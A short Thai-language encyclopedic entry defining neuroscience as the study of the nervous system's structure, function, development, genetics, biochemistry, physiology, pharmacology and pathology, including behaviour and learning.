    • ประสาทวิทยาศาสตร์ เป็นการศึกษาเกี่ยวกับ โครงสร้าง หน้าที่ การเจริญเติบโต พันธุกรรมศาสตร์ ชีวเคมี สรีรวิทยา, เภสัชวิทยา และ พยาธิวิทยา ของระบบประสาท นอกจากนี้การศึกษาเกี่ยวกับ พฤติกรรม และ การเรียนรู้ ยังถือว่าเป็นสาขาของประสาทวิทยาอีกด้วย